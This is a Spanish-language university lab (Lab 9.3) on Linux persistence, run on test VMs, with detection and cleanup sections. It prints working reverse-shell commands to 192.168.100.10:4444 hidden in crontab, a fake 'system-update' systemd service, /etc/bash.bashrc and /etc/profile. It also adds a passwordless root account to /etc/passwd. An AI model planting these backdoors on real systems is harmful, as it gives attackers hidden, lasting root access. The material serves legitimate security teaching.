Saltar al contenido principal

Lab 9.3: Persistencia y Backdoors en Linux

Objetivos de Aprendizaje​

Al finalizar este laboratorio, usted será capaz de:

  • Implementar múltiples técnicas de persistencia en Linux
  • Crear backdoors que sobreviven al reinicio
  • Modificar archivos del sistema para mantener el acceso
  • Utilizar systemd para persistencia
  • Ocultar procesos y archivos
  • Detectar la persistencia en un sistema Linux
  • Limpiar un sistema comprometido

Duración Estimada​

35 minutos

Prerrequisitos​

  • VM Linux (Ubuntu/Debian)
  • Acceso root (obtenido vía Lab 9.1)
  • Labs 9.1 y 9.2 completados
  • Comprensión de cron, systemd, bash

Contexto Profesional​

Después de obtener acceso root, el atacante quiere:

  • Mantener el acceso incluso después de reiniciar
  • Sobrevivir a las actualizaciones del sistema
  • Permanecer indetectable el mayor tiempo posible

Técnicas de persistencia utilizadas por:

  • Grupos APT para acceso a largo plazo
  • Ransomware para reinfección
  • Botnets para control permanente

Instalar backdoors en sistemas sin autorización = Delito grave.

AUTORIZADO: Solo VMs de prueba
PROHIBIDO: Sistemas reales sin permiso


Parte 1: Cron Jobs Maliciosos​

Crontab de Usuario​

Agregar tarea oculta:

(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -

Ejecución: ¡En cada arranque!

Cron del Sistema (Root)​

Archivo /etc/crontab:

echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab

Ejecución: ¡Cada 10 minutos como root!

Preguntas:

  1. ¿El cron job sobrevivió al reinicio?
  2. ¿Es visible para un usuario normal?

Parte 2: Servicios systemd​

Crear Servicio Malicioso​

Archivo /etc/systemd/system/system-update.service:

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

Activar:

systemctl enable system-update.service
systemctl start system-update.service

¡Reverse shell se ejecuta como servicio del sistema!

Verificar:

systemctl status system-update

¡Aparece como un servicio legítimo!


Parte 3: Modificación de Archivos del Sistema​

Bashrc Global​

Archivo /etc/bash.bashrc:

echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc

Cada terminal abierta: ¡Reverse shell!

Perfil SSH​

Archivo /etc/profile:

echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile

Modificación de /etc/passwd​

Crear cuenta root sin contraseña:

echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd

Login:

su backdoor

No se solicita contraseña, ¡usted es root!

Preguntas: 3. ¿Funcionó el backdoor en bashrc? 4. ¿Funciona la cuenta backdoor sin contraseña?


Parte 4: Detección​

Buscar Cron Jobs Sospechosos​

# Crontabs de usuarios
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# Cron del sistema
cat /etc/crontab
ls -la /etc/cron.*

Buscar Servicios Sospechosos​

systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled

Verificar Archivos Modificados​

# Bashrc modificado recientemente
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc

# Comparar con baseline
dpkg -V bash

Buscar Cuentas Sospechosas​

cat /etc/passwd | grep :0:

Si alguien distinto a root tiene UID 0: ¡Backdoor!

Preguntas: 5. ¿Cuántos backdoors ha detectado? 6. ¿Cómo automatizar la detección?


Parte 5: Limpieza​

Eliminar Persistencia​

# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab

# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service

# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc

# Cuenta
sed -i '/backdoor/d' /etc/passwd

Entregables​

  1. Informe con 3 métodos de persistencia probados
  2. Prueba de supervivencia al reinicio
  3. Script de detección automatizada
  4. Procedimiento de limpieza

Conclusión​

Técnicas dominadas:

  • Cron jobs maliciosos
  • Backdoors en servicios systemd
  • Modificación de archivos del sistema
  • Persistencia por clave SSH
  • Detección y limpieza

Combinado con Labs 9.1 y 9.2:

  • Escalada de usuario → root
  • Reverse shell
  • Persistencia permanente

¡Cadena de ataque Linux completa!


Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 9